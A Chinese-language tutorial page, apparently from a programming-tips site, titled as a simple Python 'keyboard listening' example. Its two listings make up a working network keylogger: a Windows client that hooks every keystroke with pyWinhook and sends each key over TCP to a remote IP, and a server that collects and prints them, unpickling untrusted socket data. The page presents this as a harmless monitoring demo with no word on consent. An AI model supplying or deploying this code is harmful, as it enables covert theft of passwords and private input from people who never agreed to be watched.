Python之监听键盘的解决办法
内容摘要
这篇文章主要为大家详细介绍了Python之监听键盘的简单示例,具有一定的参考价值,可以用来参考一下。
文章正文
这篇文章主要为大家详细介绍了Python之监听键盘的简单示例,具有一定的参考价值,可以用来参考一下。
python实现监听键盘,供大家参考,具体内容如下实现服务端
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | <code> import pickle from io import BytesIO import socket #接收数据 def Server_Recive(ip,port): socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.bind((ip,port)) socket_obj.listen(5) file = 1 while True: connection,address = socket_obj.accept() #接受的数据 recieved_message = b '' recieved_message_fragment = connection.recv(1024) while recieved_message_fragment: recieved_message += recieved_message_fragment recieved_message_fragment = connection.recv(1024) try : obj = pickle.loads(recieved_message) print (obj[ 'Key' ], end = ' ' ) except EOFError: file_name = 'recv_image_' + str(file_on) + '.bmp' recv_image = open(file_name, 'wb' ) recv_image.write(recieved_message) file_on += 1 connection.close() if __name__ == '__main__' : Server_IP = '0.0.0.0' Server_Port = 6666 Server_Recive(Server_IP,Server_Port)</code> |
python实现监听键盘
键盘监听程序
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | <code> #键盘监听 import pythoncom,pyWinhook,pickle,socket from io import BytesIO def Client_PIC(ip,port,obj): try : msg = pickle.dumps(obj) send_message = BytesIO(msg) send_message_fragment = send_message.read(1024) except: send_message = obj send_message_fragment = send_message.read(1024) socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.connect((ip,port)) while send_message_fragment: socket_obj.send(send_message_fragment) send_message_fragment = send_message.read(1024) socket_obj.close() def OnkeyBoardEvent(event): dict_key = {} dict_key[ 'MessageName' ] = event.MessageName dict_key[ 'Key' ] = event.Key Client_PIC( '你自己的ip地址' ,6666,dict_key) return True def Keylogger(): hm = pyWinhook.HookManager() hm.KeyDown = OnkeyBoardEvent hm.HookKeyboard() pythoncom.PumpMessages() if __name__ == '__main__' : Keylogger() </code> |
python实现监听键盘
其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述
运行(先运行服务端,而后运行监听程序)
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持php教程。
注:关于Python之监听键盘的简单示例的内容就先介绍到这里,更多相关文章的可以留意
代码注释